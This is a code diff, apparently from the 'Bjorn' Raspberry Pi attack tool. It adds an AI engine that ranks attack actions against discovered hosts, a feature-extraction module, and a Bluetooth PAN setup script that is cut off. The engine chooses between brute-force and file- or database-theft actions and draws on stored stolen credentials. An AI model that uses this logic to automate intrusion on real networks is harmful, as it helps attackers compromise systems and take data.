dict(temp_data_base) + temp_data['same_action_attempts'] = action_data.pop('same_action_attempts', 0) + temp_data['is_retry'] = action_data.pop('is_retry', False) + + # Extract all known features into a dict + features_dict = extract_neural_features_dict( + host_features=host_data, + network_features=net_data, + temporal_features=temp_data, + action_features=action_data + ) + + # Dynamic mapping: Pull features requested by model manifest + # Defaults to 0.0 if the Pi doesn't know this feature yet + input_vector = np.array([float(features_dict.get(name, 0.0)) for name in manifest], dtype=float) + + # Neural inference (supports variable hidden depth from exported model). + z_out = self._forward_network(input_vector) + z_out = np.array(z_out).reshape(-1) + if z_out.size == 1: + # Binary classifier exported with 1-neuron sigmoid output. + score = float(self._sigmoid(z_out[0])) + else: + probs = self._softmax(z_out) + score = float(probs[1] if len(probs) > 1 else probs[0]) + + all_scores[action] = score + if score > best_score: + best_score = score + best_action = action + + if best_action is None: + return self._predict_with_heuristics(host_context, available_actions) + + # Capture the last input vector (for visualization) + # Since we iterate, we'll just take the one from the best_action or the last one. + # Usually input_vector is almost the same for all actions except action-specific bits. + + debug_info = { + 'method': 'neural_network_v3', + 'model_version': self.model_config.get('version'), + 'feature_count': len(manifest), + 'all_scores': all_scores, + # Convert numpy ndarray → plain Python list so debug_info is + # always JSON-serialisable (scheduler stores it in action_queue metadata). + 'input_vector': input_vector.tolist(), + } + + return best_action, float(best_score), debug_info + + except Exception as e: + logger.error(f"Dynamic model prediction failed: {e}") + import traceback + logger.debug(traceback.format_exc()) + return self._predict_with_heuristics(host_context, available_actions) + + def _predict_with_model_legacy(self, host_context: Dict[str, Any], available_actions: List[str]) -> Tuple[str, float, Dict[str, Any]]: + """Fallback for models without feature_names manifest (fixed length 56)""" + # ... very similar to previous v2 but using hardcoded list ... + return self._predict_with_heuristics(host_context, available_actions) + + def _get_host_context_from_db(self, mac: str, host: Dict) -> Dict: + """Helper to collect host features from DB""" + ports_str = host.get('ports', '') or '' + ports = [int(p) for p in ports_str.split(';') if p.strip().isdigit()] + vendor = host.get('vendor', '') + + # Calculate age + age_hours = 0.0 + if host.get('first_seen'): + from datetime import datetime + try: + ts = host['first_seen'] + first_seen = datetime.fromisoformat(ts) if isinstance(ts, str) else ts + age_hours = (datetime.now() - first_seen).total_seconds() / 3600 + except: pass + + creds = self._get_credentials_for_host(mac) + + return { + 'port_count': len(ports), + 'service_count': len(self._get_services_for_host(mac)), + 'ip_count': len((host.get('ips') or '').split(';')), + 'credential_count': len(creds), + 'age_hours': round(age_hours, 2), + 'has_ssh': 22 in ports, + 'has_http': 80 in ports or 8080 in ports, + 'has_https': 443 in ports, + 'has_smb': 445 in ports, + 'has_rdp': 3389 in ports, + 'has_database': any(p in ports for p in [3306, 5432, 1433]), + 'has_credentials': len(creds) > 0, + 'is_new': age_hours < 24, + 'is_private': True, # Simple assumption for now + 'has_multiple_ips': len((host.get('ips') or '').split(';')) > 1, + 'vendor_category': self._categorize_vendor(vendor), + 'port_profile': self._detect_port_profile(ports) + } + + def _get_network_context(self) -> Dict: + """Collect real network-wide stats from DB (called once per choose_action).""" + try: + all_hosts = self.db.get_all_hosts() + total = len(all_hosts) + + # Subnet diversity + subnets = set() + active = 0 + for h in all_hosts: + ips = (h.get('ips') or '').split(';') + for ip in ips: + ip = ip.strip() + if ip: + subnets.add('.'.join(ip.split('.')[:3])) + break + if h.get('alive'): + active += 1 + + return { + 'total_hosts': total, + 'subnet_count': len(subnets), + 'similar_vendor_count': 0, # filled by caller if needed + 'similar_port_profile_count': 0, # filled by caller if needed + 'active_host_ratio': round(active / total, 2) if total else 0.0, + } + except Exception as e: + logger.error(f"Error collecting network context: {e}") + return { + 'total_hosts': 0, 'subnet_count': 1, + 'similar_vendor_count': 0, 'similar_port_profile_count': 0, + 'active_host_ratio': 1.0, + } + + def _get_temporal_context(self, mac: str) -> Dict: + """ + Collect real temporal features for a MAC from DB. + same_action_attempts / is_retry are action-specific — they are NOT + included here; instead they are merged from _get_action_context() + inside the per-action loop in _predict_with_model(). + """ + from datetime import datetime + now = datetime.now() + + ctx = { + 'hour_of_day': now.hour, + 'day_of_week': now.weekday(), + 'is_weekend': now.weekday() >= 5, + 'is_night': now.hour < 6 or now.hour >= 22, + 'previous_action_count': 0, + 'seconds_since_last': 0, + 'historical_success_rate': 0.0, + 'same_action_attempts': 0, # placeholder; overwritten per-action + 'is_retry': False, # placeholder; overwritten per-action + 'global_success_rate': 0.0, + 'hours_since_discovery': 0, + } + + try: + # Per-host stats from ml_features (persistent training log) + rows = self.db.query( + """ + SELECT + COUNT(*) AS cnt, + AVG(CAST(success AS REAL)) AS success_rate, + MAX(timestamp) AS last_ts + FROM ml_features + WHERE mac_address = ? + """, + (mac,), + ) + if rows and rows[0]['cnt']: + ctx['previous_action_count'] = int(rows[0]['cnt']) + ctx['historical_success_rate'] = round(float(rows[0]['success_rate'] or 0.0), 2) + if rows[0]['last_ts']: + try: + last_dt = datetime.fromisoformat(str(rows[0]['last_ts'])) + ctx['seconds_since_last'] = round( + (now - last_dt).total_seconds(), 1 + ) + except Exception: + pass + + # Global success rate (all hosts) + g = self.db.query( + "SELECT AVG(CAST(success AS REAL)) AS gsr FROM ml_features" + ) + if g and g[0]['gsr'] is not None: + ctx['global_success_rate'] = round(float(g[0]['gsr']), 2) + + # Hours since host first seen + host = self.db.get_host_by_mac(mac) + if host and host.get('first_seen'): + try: + ts = host['first_seen'] + first_seen = datetime.fromisoformat(ts) if isinstance(ts, str) else ts + ctx['hours_since_discovery'] = round( + (now - first_seen).total_seconds() / 3600, 1 + ) + except Exception: + pass + + except Exception as e: + logger.error(f"Error collecting temporal context for {mac}: {e}") + + return ctx + + # Action-specific temporal fields populated by _get_action_context + _ACTION_PORTS = { + 'SSHBruteforce': 22, 'SSHEnumeration': 22, 'StealFilesSSH': 22, + 'WebEnumeration': 80, 'WebVulnScan': 80, 'WebLoginProfiler': 80, + 'WebSurfaceMapper': 80, + 'SMBBruteforce': 445, 'StealFilesSMB': 445, + 'FTPBruteforce': 21, 'StealFilesFTP': 21, + 'TelnetBruteforce': 23, 'StealFilesTelnet': 23, + 'SQLBruteforce': 3306, 'StealDataSQL': 3306, + 'NmapVulnScanner': 0, 'NetworkScanner': 0, + 'RDPBruteforce': 3389, + } + + def _get_action_context(self, action_name: str, host: Dict, mac: str = '') -> Dict: + """ + Collect action-specific features including per-action attempt history. + Merges action-type + target-port info with action-level temporal stats. + """ + action_type = self._classify_action_type(action_name) + target_port = self._ACTION_PORTS.get(action_name, 0) + + # If port not in lookup, try to infer from action name + if target_port == 0: + name_lower = action_name.lower() + for svc, port in [('ssh', 22), ('http', 80), ('smb', 445), ('ftp', 21), + ('telnet', 23), ('sql', 3306), ('rdp', 3389)]: + if svc in name_lower: + target_port = port + break + + ctx = { + 'action_type': action_type, + 'target_port': target_port, + 'is_standard_port': 0 < target_port < 1024, + # Action-level temporal (overrides placeholder in temporal_context) + 'same_action_attempts': 0, + 'is_retry': False, + } + + if mac: + try: + r = self.db.query( + """ + SELECT COUNT(*) AS cnt + FROM ml_features + WHERE mac_address = ? AND action_name = ? + """, + (mac, action_name), + ) + attempts = int(r[0]['cnt']) if r else 0 + ctx['same_action_attempts'] = attempts + ctx['is_retry'] = attempts > 0 + except Exception as e: + logger.debug(f"Action context DB query failed for {action_name}: {e}") + + return ctx + + def _classify_action_type(self, action_name: str) -> str: + """Classify action name into a type""" + name = action_name.lower() + if 'brute' in name: return 'bruteforce' + if 'enum' in name or 'scan' in name: return 'enumeration' + if 'exploit' in name: return 'exploitation' + if 'dump' in name or 'extract' in name: return 'extraction' + return 'other' + + # ═══════════════════════════════════════════════════════════════════════ + # HEURISTIC FALLBACK + # ═══════════════════════════════════════════════════════════════════════ + + def _init_heuristics(self): + """Initialize rule-based heuristics for cold start""" + self.heuristics = { + 'port_based': { + 22: ['SSHBruteforce', 'SSHEnumeration'], + 80: ['WebEnumeration', 'WebVulnScan'], + 443: ['WebEnumeration', 'SSLScan'], + 445: ['SMBBruteforce', 'SMBEnumeration'], + 3389: ['RDPBruteforce'], + 21: ['FTPBruteforce', 'FTPEnumeration'], + 23: ['TelnetBruteforce'], + 3306: ['MySQLBruteforce'], + 5432: ['PostgresBruteforce'], + 1433: ['MSSQLBruteforce'] + }, + 'service_based': { + 'ssh': ['SSHBruteforce', 'SSHEnumeration'], + 'http': ['WebEnumeration', 'WebVulnScan'], + 'https': ['WebEnumeration', 'SSLScan'], + 'smb': ['SMBBruteforce', 'SMBEnumeration'], + 'ftp': ['FTPBruteforce', 'FTPEnumeration'], + 'mysql': ['MySQLBruteforce'], + 'postgres': ['PostgresBruteforce'] + }, + 'profile_based': { + 'camera': ['WebEnumeration', 'DefaultCredCheck', 'RTSPBruteforce'], + 'nas': ['SMBBruteforce', 'WebEnumeration', 'SSHBruteforce'], + 'web_server': ['WebEnumeration', 'WebVulnScan'], + 'database': ['MySQLBruteforce', 'PostgresBruteforce'], + 'linux_server': ['SSHBruteforce', 'WebEnumeration'], + 'windows_server': ['SMBBruteforce', 'RDPBruteforce'] + } + } + + def _predict_with_heuristics( + self, + host_context: Dict[str, Any], + available_actions: List[str] + ) -> Tuple[str, float, Dict[str, Any]]: + """ + Use rule-based heuristics for action selection. + Provides decent performance without machine learning. + """ + try: + mac = host_context.get('mac', '') + host = self.db.get_host_by_mac(mac) if mac else {} + + # Get ports and services + ports_str = host.get('ports', '') or '' + ports = {int(p) for p in ports_str.split(';') if p.strip().isdigit()} + services = self._get_services_for_host(mac) + + # Detect port profile + port_profile = self._detect_port_profile(ports) + + # Scoring system + action_scores = {action: 0.0 for action in available_actions} + + # Score based on ports + for port in ports: + if port in self.heuristics['port_based']: + for action in self.heuristics['port_based'][port]: + if action in action_scores: + action_scores[action] += 0.3 + + # Score based on services + for service in services: + if service in self.heuristics['service_based']: + for action in self.heuristics['service_based'][service]: + if action in action_scores: + action_scores[action] += 0.4 + + # Score based on port profile + if port_profile in self.heuristics['profile_based']: + for action in self.heuristics['profile_based'][port_profile]: + if action in action_scores: + action_scores[action] += 0.3 + + # Find best action + if action_scores: + best_action = max(action_scores, key=action_scores.get) + best_score = action_scores[best_action] + + # Normalize score to 0-1 + if best_score > 0: + best_score = min(best_score / 1.0, 1.0) + + debug_info = { + 'method': 'heuristics', + 'port_profile': port_profile, + 'ports': list(ports)[:10], + 'services': services, + 'all_scores': {k: v for k, v in action_scores.items() if v > 0} + } + + return best_action, best_score, debug_info + + # Ultimate fallback + if available_actions: + return available_actions[0], 0.1, {'method': 'fallback_first'} + + return None, 0.0, {'method': 'no_actions'} + + except Exception as e: + logger.error(f"Heuristic prediction failed: {e}") + if available_actions: + return available_actions[0], 0.0, {'method': 'fallback_error', 'error': str(e)} + return None, 0.0, {'method': 'error', 'error': str(e)} + + # ═══════════════════════════════════════════════════════════════════════ + # HELPER METHODS + # ═══════════════════════════════════════════════════════════════════════ + + @staticmethod + def _relu(x): + """ReLU activation function""" + return np.maximum(0, x) + + @staticmethod + def _sigmoid(x): + """Sigmoid activation function""" + return 1.0 / (1.0 + np.exp(-x)) + + @staticmethod + def _softmax(x): + """Softmax activation function""" + exp_x = np.exp(x - np.max(x)) # Numerical stability + return exp_x / exp_x.sum() + + def _forward_network(self, input_vector: np.ndarray) -> np.ndarray: + """ + Forward pass through exported dense network with dynamic hidden depth. + Expected keys: w1/b1, w2/b2, ..., w_out/b_out + """ + a = input_vector + layer_idx = 1 + while f'w{layer_idx}' in self.model_weights: + w = self.model_weights[f'w{layer_idx}'] + b = self.model_weights[f'b{layer_idx}'] + a = self._relu(np.dot(a, w) + b) + layer_idx += 1 + return np.dot(a, self.model_weights['w_out']) + self.model_weights['b_out'] + + def _get_services_for_host(self, mac: str) -> List[str]: + """Get detected services for host""" + try: + results = self.db.query(""" + SELECT DISTINCT service + FROM port_services + WHERE mac_address=? + """, (mac,)) + return [r['service'] for r in results if r.get('service')] + except: + return [] + + def _get_credentials_for_host(self, mac: str) -> List[Dict]: + """Get credentials found for host""" + try: + return self.db.query(""" + SELECT service, user, port + FROM creds + WHERE mac_address=? + """, (mac,)) + except: + return [] + + def _categorize_vendor(self, vendor: str) -> str: + """Categorize vendor (same as feature_logger)""" + if not vendor: + return 'unknown' + + vendor_lower = vendor.lower() + categories = { + 'networking': ['cisco', 'juniper', 'ubiquiti', 'mikrotik', 'tp-link'], + 'iot': ['hikvision', 'dahua', 'axis'], + 'nas': ['synology', 'qnap'], + 'compute': ['raspberry', 'intel', 'apple', 'dell', 'hp'], + 'virtualization': ['vmware', 'microsoft'], + 'mobile': ['apple', 'samsung', 'huawei'] + } + + for category, vendors in categories.items(): + if any(v in vendor_lower for v in vendors): + return category + + return 'other' + + def _detect_port_profile(self, ports) -> str: + """Detect device profile from ports (same as feature_logger)""" + port_set = set(ports) + + profiles = { + 'camera': {554, 80, 8000}, + 'web_server': {80, 443, 8080}, + 'nas': {5000, 5001, 548, 139, 445}, + 'database': {3306, 5432, 1433, 27017}, + 'linux_server': {22, 80, 443}, + 'windows_server': {135, 139, 445, 3389}, + 'printer': {9100, 515, 631}, + 'router': {22, 23, 80, 443, 161} + } + + max_overlap = 0 + best_profile = 'generic' + + for profile_name, profile_ports in profiles.items(): + overlap = len(port_set & profile_ports) + if overlap > max_overlap: + max_overlap = overlap + best_profile = profile_name + + return best_profile if max_overlap >= 2 else 'generic' + + # ═══════════════════════════════════════════════════════════════════════ + # STATISTICS + # ═══════════════════════════════════════════════════════════════════════ + + def get_stats(self) -> Dict[str, Any]: + """Get AI engine statistics""" + stats = { + 'model_loaded': self.model_loaded, + 'heuristics_available': True, + 'decision_mode': 'neural_network' if self.model_loaded else 'heuristics' + } + + if self.model_loaded and self.model_config: + stats.update({ + 'model_version': self.model_config.get('version'), + 'model_trained_at': self.model_config.get('trained_at'), + 'model_accuracy': self.model_config.get('accuracy'), + 'training_samples': self.model_config.get('training_samples') + }) + + return stats + + +# ═══════════════════════════════════════════════════════════════════════════ +# SINGLETON FACTORY +# ═══════════════════════════════════════════════════════════════════════════ + +def get_or_create_ai_engine(shared_data) -> Optional['BjornAIEngine']: + """ + Return the single BjornAIEngine instance attached to shared_data. + Creates it on first call; subsequent calls return the cached instance. + + Use this instead of BjornAIEngine(shared_data) to avoid loading model + weights multiple times (orchestrator + scheduler + web each need AI). + """ + if getattr(shared_data, '_ai_engine_singleton', None) is None: + try: + shared_data._ai_engine_singleton = BjornAIEngine(shared_data) + except Exception as e: + logger.error(f"Failed to create BjornAIEngine singleton: {e}") + shared_data._ai_engine_singleton = None + return shared_data._ai_engine_singleton + + +def invalidate_ai_engine(shared_data) -> None: + """Drop the cached singleton (e.g. after a mode reset or model update).""" + shared_data._ai_engine_singleton = None + + +# ═══════════════════════════════════════════════════════════════════════════ +# END OF FILE +# ═══════════════════════════════════════════════════════════════════════════ diff --git a/ai_utils.py b/ai_utils.py new file mode 100644 index 0000000..ac77984 --- /dev/null +++ b/ai_utils.py @@ -0,0 +1,99 @@ +""" +ai_utils.py - Shared AI utilities for Bjorn +""" + +import json +import numpy as np +from typing import Dict, List, Any, Optional + +def extract_neural_features_dict(host_features: Dict[str, Any], network_features: Dict[str, Any], temporal_features: Dict[str, Any], action_features: Dict[str, Any]) -> Dict[str, float]: + """ + Extracts all available features as a named dictionary. + This allows the model to select exactly what it needs by name. + """ + f = {} + + # 1. Host numericals + f['host_port_count'] = float(host_features.get('port_count', 0)) + f['host_service_count'] = float(host_features.get('service_count', 0)) + f['host_ip_count'] = float(host_features.get('ip_count', 0)) + f['host_credential_count'] = float(host_features.get('credential_count', 0)) + f['host_age_hours'] = float(host_features.get('age_hours', 0)) + + # 2. Host Booleans + f['has_ssh'] = 1.0 if host_features.get('has_ssh') else 0.0 + f['has_http'] = 1.0 if host_features.get('has_http') else 0.0 + f['has_https'] = 1.0 if host_features.get('has_https') else 0.0 + f['has_smb'] = 1.0 if host_features.get('has_smb') else 0.0 + f['has_rdp'] = 1.0 if host_features.get('has_rdp') else 0.0 + f['has_database'] = 1.0 if host_features.get('has_database') else 0.0 + f['has_credentials'] = 1.0 if host_features.get('has_credentials') else 0.0 + f['is_new'] = 1.0 if host_features.get('is_new') else 0.0 + f['is_private'] = 1.0 if host_features.get('is_private') else 0.0 + f['has_multiple_ips'] = 1.0 if host_features.get('has_multiple_ips') else 0.0 + + # 3. Vendor Category (One-Hot) + vendor_cats = ['networking', 'iot', 'nas', 'compute', 'virtualization', 'mobile', 'other', 'unknown'] + current_vendor = host_features.get('vendor_category', 'unknown') + for cat in vendor_cats: + f[f'vendor_is_{cat}'] = 1.0 if cat == current_vendor else 0.0 + + # 4. Port Profile (One-Hot) + port_profiles = ['camera', 'web_server', 'nas', 'database', 'linux_server', + 'windows_server', 'printer', 'router', 'generic', 'unknown'] + current_profile = host_features.get('port_profile', 'unknown') + for prof in port_profiles: + f[f'profile_is_{prof}'] = 1.0 if prof == current_profile else 0.0 + + # 5. Network Stats + f['net_total_hosts'] = float(network_features.get('total_hosts', 0)) + f['net_subnet_count'] = float(network_features.get('subnet_count', 0)) + f['net_similar_vendor_count'] = float(network_features.get('similar_vendor_count', 0)) + f['net_similar_port_profile_count'] = float(network_features.get('similar_port_profile_count', 0)) + f['net_active_host_ratio'] = float(network_features.get('active_host_ratio', 0.0)) + + # 6. Temporal features + f['time_hour'] = float(temporal_features.get('hour_of_day', 0)) + f['time_day'] = float(temporal_features.get('day_of_week', 0)) + f['is_weekend'] = 1.0 if temporal_features.get('is_weekend') else 0.0 + f['is_night'] = 1.0 if temporal_features.get('is_night') else 0.0 + f['hist_action_count'] = float(temporal_features.get('previous_action_count', 0)) + f['hist_seconds_since_last'] = float(temporal_features.get('seconds_since_last', 0)) + f['hist_success_rate'] = float(temporal_features.get('historical_success_rate', 0.0)) + f['hist_same_attempts'] = float(temporal_features.get('same_action_attempts', 0)) + f['is_retry'] = 1.0 if temporal_features.get('is_retry') else 0.0 + f['global_success_rate'] = float(temporal_features.get('global_success_rate', 0.0)) + f['hours_since_discovery'] = float(temporal_features.get('hours_since_discovery', 0)) + + # 7. Action Info + action_types = ['bruteforce', 'enumeration', 'exploitation', 'extraction', 'other'] + current_type = action_features.get('action_type', 'other') + for atype in action_types: + f[f'action_is_{atype}'] = 1.0 if atype == current_type else 0.0 + + f['action_target_port'] = float(action_features.get('target_port', 0)) + f['action_is_standard_port'] = 1.0 if action_features.get('is_standard_port') else 0.0 + + return f + +def extract_neural_features(host_features: Dict[str, Any], network_features: Dict[str, Any], temporal_features: Dict[str, Any], action_features: Dict[str, Any]) -> List[float]: + """ + Deprecated: Hardcoded list. Use extract_neural_features_dict for evolution. + Kept for backward compatibility during transition. + """ + d = extract_neural_features_dict(host_features, network_features, temporal_features, action_features) + # Return as a list in a fixed order (the one previously used) + # This is fragile and will be replaced by manifest-based extraction. + return list(d.values()) + +def get_system_mac() -> str: + """ + Get the persistent MAC address of the device. + Used for unique identification in Swarm mode. + """ + try: + import uuid + mac = uuid.getnode() + return ':'.join(('%012X' % mac)[i:i+2] for i in range(0, 12, 2)) + except: + return "00:00:00:00:00:00" diff --git a/bjorn_bluetooth.sh b/bjorn_bluetooth.sh new file mode 100644 index 0000000..6baf754 --- /dev/null +++ b/bjorn_bluetooth.sh @@ -0,0 +1,517 @@ +#!/bin/bash +# bjorn_bluetooth_manager.sh +# Script to configure Bluetooth PAN for BJORN +# Usage: ./bjorn_bluetooth_manager.sh -f +# ./bjorn_bluetooth_manager.sh -u +# ./bjorn_bluetooth_manager.sh -l +# ./bjorn_bluetooth_manager.sh -h +# Author: Infinition +# Version: 1.1 +# Description: This script configures and manages Bluetooth PAN for BJORN + +# ============================================================ +# Colors for Output +# ============================================================ +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +CYAN='\033[0;36m' +NC='\033[0m' # No Color + +# ============================================================ +# Logging Configuration +# ============================================================ +LOG_DIR="/var/log/bjorn_install" +LOG_FILE="$LOG_DIR/bjorn_bluetooth_manager_$(date +%Y%m%d_%H%M%S).log" + +# Ensure log directory exists +mkdir -p "$LOG_DIR" + +# ============================================================ +# Logging Function +# ============================================================ +log() { + local level=$1 + shift + local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" + echo -e "$message" | tee -a "$LOG_FILE" + case $level in + "ERROR") echo -e "${RED}$message${NC}" ;; + "SUCCESS") echo -e "${GREEN}$message${NC}" ;; + "WARNING") echo -e "${YELLOW}$message${NC}" ;; + "INFO") echo -e "${BLUE}$message${NC}" ;; + "CYAN") echo -e "${CYAN}$message${NC}" ;; + *) echo -e "$message" ;; + esac +} + +# ============================================================ +# Error Handling +# ============================================================ +handle_error() { + local error_message=$1 + log "ERROR" "$error_message" + exit 1 +} + +# ============================================================ +# Function to Check Command Success +# ============================================================ +check_success() { + if [ $? -eq 0 ]; then + log "SUCCESS" "$1" + return 0 + else + handle_error "$1" + return $? + fi +} + +# ============================================================ +# Function to Show Usage +# ============================================================ +show_usage() { + echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" + echo -e "Options:" + echo -e " ${BLUE}-f${NC} Install Bluetooth PAN" + echo -e " ${BLUE}-u${NC} Uninstall Bluetooth PAN" + echo -e " ${BLUE}-l${NC} List Bluetooth PAN Information" + echo -e " ${BLUE}-h${NC} Show this help message" + echo -e "" + echo -e "Example:" + echo -e " $0 -f Install Bluetooth PAN" + echo -e " $0 -u Uninstall Bluetooth PAN" + echo -e " $0 -l List Bluetooth PAN Information" + echo -e " $0 -h Show help" + echo -e "" + echo -e "${YELLOW}===== Bluetooth PAN Configuration Procedure =====${NC}" + echo -e "To configure the Bluetooth PAN driver and set the IP address, subnet mask, and gateway for the PAN network interface card, follow the steps below:" + echo -e "" + echo -e "1. **Configure IP Address on the Server (Pi):**" + echo -e " - The default IP address is set in the script as follows:" + echo -e " - IP: 172.20.2.1" + echo -e " - Subnet Mask: 255.255.255.0" + echo -e "" + echo -e "2. **Configure IP Address on the Host Computer:**" + echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" + echo -e " - IP: 172.20.2.2" + echo -e " - Subnet Mask: 255.255.255.0" + echo -e " - Gateway: 172.20.2.1" + echo -e " - DNS Servers: 8.8.8.8, 8.8.4.4" + echo -e "" + echo -e "3. **Restart the Service:**" + echo -e " - After installing the Bluetooth PAN, restart the service to apply the changes:" + echo -e " ```bash" + echo -e " sudo systemctl restart auto_bt_connect.service" + echo -e " ```" + echo -e "" + echo -e "4. **Verify the Connection:**" + echo -e " - Ensure that the PAN network interface is active on both devices." + echo -e " - Test connectivity by pinging the IP address of the other device." + echo -e " - From the Pi: \`ping 172.20.2.2\`" + echo -e " - From the host computer: \`ping 172.20.2.1\`" + echo -e "" + echo -e "===== End of Procedure =====${NC}" + exit 1 +} + +# ============================================================ +# Function to Install Bluetooth PAN +# ============================================================ +install_bluetooth_pan() { + log "INFO" "Starting Bluetooth PAN installation..." + + # Ensure the script is run as root + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This script must be run as root. Please use 'sudo'." + exit 1 + fi + + # Create settings directory + SETTINGS_DIR="/home/bjorn/.settings_bjorn" + if [ ! -d "$SETTINGS_DIR" ]; then + mkdir -p "$SETTINGS_DIR" + check_success "Created settings directory at $SETTINGS_DIR" + else + log "INFO" "Settings directory $SETTINGS_DIR already exists. Skipping creation." + fi + + # Create bt.json if it doesn't exist + BT_CONFIG="$SETTINGS_DIR/bt.json" + if [ ! -f "$BT_CONFIG" ]; then + log "INFO" "Creating Bluetooth configuration file at $BT_CONFIG" + cat << 'EOF' > "$BT_CONFIG" +{ + "device_mac": "AA:BB:CC:DD:EE:FF" # Replace with your device's MAC address +} +EOF + check_success "Created Bluetooth configuration file at $BT_CONFIG" + log "WARNING" "Please edit $BT_CONFIG to include your Bluetooth device's MAC address." + else + log "INFO" "Bluetooth configuration file $BT_CONFIG already exists. Skipping creation." + fi + + # Create auto_bt_connect.py + BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" + if [ ! -f "$BT_PY_SCRIPT" ]; then + log "INFO" "Creating Bluetooth auto-connect Python script at $BT_PY_SCRIPT" + cat << 'EOF' > "$BT_PY_SCRIPT" +#!/usr/bin/env python3 +import json +import subprocess +import time +import logging +import os + +LOG_FORMAT = "%(asctime)s - %(name)s - %(levelname)s - %(message)s" +logging.basicConfig(filename="/var/log/auto_bt_connect.log", level=logging.INFO, format=LOG_FORMAT) +logger = logging.getLogger("auto_bt_connect") + +CONFIG_PATH = "/home/bjorn/.settings_bjorn/bt.json" +CHECK_INTERVAL = 30 # Interval in seconds between each check + +def ensure_bluetooth_service(): + try: + res = subprocess.run(["systemctl", "is-active", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if "active" not in res.stdout: + logger.info("Bluetooth service not active. Starting and enabling it...") + start_res = subprocess.run(["systemctl", "start", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if start_res.returncode != 0: + logger.error(f"Failed to start bluetooth service: {start_res.stderr}") + return False + + enable_res = subprocess.run(["systemctl", "enable", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if enable_res.returncode != 0: + logger.error(f"Failed to enable bluetooth service: {enable_res.stderr}") + # Not fatal, but log it. + else: + logger.info("Bluetooth service enabled successfully.") + else: + logger.info("Bluetooth service is already active.") + return True + except Exception as e: + logger.error(f"Error ensuring bluetooth service: {e}") + return False + +def is_already_connected(): + # Check if bnep0 interface is up with an IP + ip_res = subprocess.run(["ip", "addr", "show", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if ip_res.returncode == 0 and "inet " in ip_res.stdout: + # bnep0 interface exists and has an IPv4 address + logger.info("bnep0 is already up and has an IP. No action needed.") + return True + return False + +def run_in_background(cmd): + # Run a command in background, return the process + process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + return process + +def establish_connection(device_mac): + # Attempt to run bt-network + logger.info(f"Attempting to connect PAN with device {device_mac}...") + bt_process = run_in_background(["bt-network", "-c", device_mac, "nap"]) + # Wait a bit for PAN to set up + time.sleep(3) + + # Check if bt-network exited prematurely + if bt_process.poll() is not None: + # Process ended + if bt_process.returncode != 0: + stderr_output = bt_process.stderr.read() if bt_process.stderr else "" + logger.error(f"bt-network failed: {stderr_output}") + return False + else: + logger.warning("bt-network ended immediately. PAN may not be established.") + return False + else: + logger.info("bt-network running in background...") + + # Now run dhclient for IPv4 + dh_res = subprocess.run(["dhclient", "-4", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if dh_res.returncode != 0: + logger.error(f"dhclient failed: {dh_res.stderr}") + return False + + logger.info("Successfully obtained IP on bnep0. PAN connection established.") + return True + +def load_config(): + if not os.path.exists(CONFIG_PATH): + logger.error(f"Config file {CONFIG_PATH} not found.") + return None + + try: + with open(CONFIG_PATH, "r") as f: + config = json.load(f) + device_mac = config.get("device_mac") + if not device_mac: + logger.error("No device_mac found in config.") + return None + return device_mac + except Exception as e: + logger.error(f"Error loading config: {e}") + return None + +def main(): + device_mac = load_config() + if not device_mac: + return + + while True: + try: + if not ensure_bluetooth_service(): + logger.error("Bluetooth service setup failed.") + elif is_already_connected(): + # Already connected and has IP, do nothing + pass + else: + # Attempt to establish connection + success = establish_connection(device_mac) + if not success: + logger.warning("Failed to establish PAN connection.") + + except Exception as e: + logger.error(f"Unexpected error in main loop: {e}") + + # Wait before the next check + time.sleep(CHECK_INTERVAL) + +if __name__ == "__main__": + main() +EOF + check_success "Created Bluetooth auto-connect Python script at $BT_PY_SCRIPT" + else + log "INFO" "Bluetooth auto-connect Python script $BT_PY_SCRIPT already exists. Skipping creation." + fi + + # Make the Python script executable + chmod +x "$BT_PY_SCRIPT" + check_success "Made Python script executable at $BT_PY_SCRIPT" + + # Create the systemd service + BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" + if [ ! -f "$BT_SERVICE" ]; then + log "INFO" "Creating systemd service at $BT_SERVICE" + cat << 'EOF' > "$BT_SERVICE" +[Unit] +Description=Auto Bluetooth PAN Connect +After=network.target bluetooth.service +Wants=bluetooth.service + +[Service] +Type=simple +ExecStart=/usr/local/bin/auto_bt_connect.py +Restart=on-failure +RestartSec=10 + +[Install] +WantedBy=multi-user.target +EOF + check_success "Created systemd service at $BT_SERVICE" + else + log "INFO" "Systemd service $BT_SERVICE already exists. Skipping creation." + fi + + # Reload systemd daemon + systemctl daemon-reload + check_success "Reloaded systemd daemon" + + # Enable and start the service + systemctl enable auto_bt_connect.service + check_success "Enabled auto_bt_connect.service" + + systemctl start auto_bt_connect.service + check_success "Started auto_bt_connect.service" + + echo -e "${GREEN}Bluetooth PAN installation completed successfully. A reboot is required for changes to take effect.${NC}" +} + +# ============================================================ +# Function to Uninstall Bluetooth PAN +# ============================================================ +uninstall_bluetooth_pan() { + log "INFO" "Starting Bluetooth PAN uninstallation..." + + # Ensure the script is run as root + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This script must be run as root. Please use 'sudo'." + exit 1 + fi + + BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" + BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" + SETTINGS_DIR="/home/bjorn/.settings_bjorn" + BT_CONFIG="$SETTINGS_DIR/bt.json" + + # Stop and disable the service + if systemctl is-active --quiet auto_bt_connect.service; then + systemctl stop auto_bt_connect.service + check_success "Stopped auto_bt_connect.service" + else + log "INFO" "auto_bt_connect.service is not running." + fi + + if systemctl is-enabled --quiet auto_bt_connect.service; then + systemctl disable auto_bt_connect.service + check_success "Disabled auto_bt_connect.service" + else + log "INFO" "auto_bt_connect.service is not enabled." + fi + + # 